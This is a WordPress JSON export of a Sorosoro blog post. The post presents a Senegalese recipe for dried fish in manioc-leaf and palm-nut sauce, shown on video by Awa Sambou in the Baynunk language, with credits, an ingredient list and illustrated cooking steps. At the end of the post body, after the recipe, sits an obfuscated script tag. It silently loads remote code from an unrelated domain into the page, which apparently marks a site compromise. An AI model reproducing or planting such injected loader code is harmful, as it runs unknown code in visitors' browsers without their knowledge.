{"id":44284,"date":"2011-03-25T09:47:23","date_gmt":"2011-03-25T07:47:23","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=44284"},"modified":"2025-10-21T23:06:23","modified_gmt":"2025-10-21T21:06:23","slug":"dried-fish-on-manioc-leaf-sauce","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/","title":{"rendered":"Dried fish on manioc leaf sauce"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Dried fish on manioc leaf sauce, by Awa Sambou.<\/h5>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Let&#8217;s discover together this recipe from <strong>Senegal<\/strong>: a <strong>dried fish<\/strong>-based preparation with a <strong>palm nut <\/strong>and <strong>manioc sauce<\/strong>, and served with the local <strong>Niamone rice<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Awa Sambou<\/strong> is the one teasing our taste buds here. On beautiful footage by Muriel Lutz, she introduces the ingredients and utensils, and unveils her cooking secrets, in <a href=\"https:\/\/www.sorosoro.org\/en\/baynunk\">Baynunk<\/a> language from Casamance.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/videos-in-baynunk-senegal\">Watch all videos in Baynunk<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/y2fVT3wnIzg?fs=1&amp;hl=fr_FR\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/y2fVT3wnIzg?fs=1&amp;hl=fr_FR\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p><span style=\"text-decoration: underline;\">Linguist<\/span>: Sokhna Bao-Diop<\/p>\n<p><span style=\"text-decoration: underline;\">Image &amp; sound<\/span>: Muriel Lutz, assisted by Cheikh Tidiane Sall<\/p>\n<p><span style=\"text-decoration: underline;\">Editing<\/span>: Caroline Laurent<\/p>\n<p>Video created within the <em>ANR S\u00e9n\u00e9langues<\/em> project<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h3><span style=\"color: #000000;\">To make this at home:<\/span><\/h3>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\"><strong>Ingredients:<\/strong><\/span><\/p>\n<p>An armful of manioc leaves<\/p>\n<p>A basketful of palm nuts<\/p>\n<p>A few tomatoes<\/p>\n<p>A few cloves of garlic<\/p>\n<p>Three small cabbages<\/p>\n<p>An onion<\/p>\n<p>An eggplant<\/p>\n<p>Dried red hot peppers<\/p>\n<p>4 big fresh hot peppers (red and\/or green)<\/p>\n<p>Dried fish<\/p>\n<p>Salt<\/p>\n<p>Crushed rice for the side dish (if possible from the paddies of Niamone\u2026)<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\"><strong>Recipe (make sure you don\u2019t lose track\u2026):<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44668 alignright\" title=\"manioc pil\u00e9\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9-300x147.jpg\" alt=\"manioc pil\u00e9\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9.JPG 850w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Cut off the manioc leaves from their stems and crush them to a pulp. Add salt, put into a big pot with a little water, cover and cook.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44669 alignright\" title=\"noix pil\u00e9es2\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2-300x148.jpg\" alt=\"noix pil\u00e9es2\" width=\"300\" height=\"148\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2-300x148.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2.JPG 718w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Crush the palm nuts while adding water once in a while to extract the sap. Drain well several times to retain the fibers and pits. Add this juice to the manioc leaves and let it boil.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44670 alignright\" title=\"couscoussier\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg\" alt=\"couscoussier\" width=\"300\" height=\"141\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier.JPG 434w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Rinse the rice well and steam it in a couscous pot.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44671 alignright\" title=\"l\u00e9gumes coup\u00e9d\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d-300x146.jpg\" alt=\"l\u00e9gumes coup\u00e9d\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d-300x146.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d.JPG 848w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; While the sauce and rice are nicely cooking, prepare the vegetables: peel the cabbages and slice them \u2013 as well as the eggplant \u2013 lengthwise into quarters. Peel the onion and garlic. Rinse all vegetables in fresh water.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44672 alignright\" title=\"ajout l\u00e9gumes\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes-300x157.jpg\" alt=\"ajout l\u00e9gumes\" width=\"300\" height=\"157\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes-300x157.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes.JPG 796w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Once the sauce has already reduced a bit, add the eggplant, cabbage and 4 fresh hot peppers, and leave it to cook.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44673 alignright\" title=\"ajout tomate\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate-300x146.jpg\" alt=\"ajout tomate\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate-300x146.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate.JPG 849w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Crush the tomatoes, onion, garlic and dried hot peppers all together, and add them to the sauce.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44676\" title=\"poisson\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson-300x147.jpg\" alt=\"poisson\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson.JPG 516w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Finally, prepare the fish: make sure you bone the fish! Separate the fillets, rinse them in fresh water, add to the sauce and let it thicken.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44677\" title=\"riz pr\u00e9cuit\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit-300x147.jpg\" alt=\"riz pr\u00e9cuit\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit.JPG 840w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; When the rice is precooked, transfer it into a big pot, separate the grains and add salted water (up to 1 inch above the top of the rice). Cover and return to the fire until the water has been absorbed.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44681\" title=\"sauce cuit\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit-300x166.jpg\" alt=\"sauce cuit\" width=\"300\" height=\"166\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit-300x166.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit.JPG 836w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Now back to the sauce: add salt, taste and let it simmer with a lid half way across the top so it can thicken nice and slowly\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44682\" title=\"fini\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/fini-300x147.jpg\" alt=\"fini\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/fini-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/fini.JPG 851w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">Then all you have to do is serve the fish and vegetable sauce on a bed of rice, and enjoy!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Fed up with dried fish? Feel free to try variations: beef, chicken, fresh fish, crab, prawns\u2026 Actually, as Awa puts it, it works just as well with anything!<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dried fish on manioc leaf sauce, by Awa Sambou. Let&#8217;s discover together this recipe from Senegal: a dried fish-based preparation with a palm nut and manioc sauce, and served with the local Niamone rice. Awa Sambou is the one teasing our taste buds here. On beautiful footage by Muriel Lutz, she introduces the ingredients and [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23],"tags":[],"class_list":["post-44284","post","type-post","status-publish","format-standard","hentry","category-video-of-the-week"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Dried fish on manioc leaf sauce - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Dried fish on manioc leaf sauce - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Dried fish on manioc leaf sauce, by Awa Sambou. Let&#8217;s discover together this recipe from Senegal: a dried fish-based preparation with a palm nut and manioc sauce, and served with the local Niamone rice. Awa Sambou is the one teasing our taste buds here. On beautiful footage by Muriel Lutz, she introduces the ingredients and [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-25T07:47:23+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:06:23+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg\" \/>\n<meta name=\"author\" content=\"Rozenn Milin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rozenn Milin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\"},\"author\":{\"name\":\"Rozenn Milin\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"headline\":\"Dried fish on manioc leaf sauce\",\"datePublished\":\"2011-03-25T07:47:23+00:00\",\"dateModified\":\"2025-10-21T21:06:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\"},\"wordCount\":468,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg\",\"articleSection\":[\"All the videos\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/dried-fish-on-manioc-leaf-sauce\/\",\"name\":\"Dried fish on manioc leaf sauce - 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Let&#8217;s discover together this recipe from Senegal: a dried fish-based preparation with a palm nut and manioc sauce, and served with the local Niamone rice. Awa Sambou is the one teasing our taste buds here. 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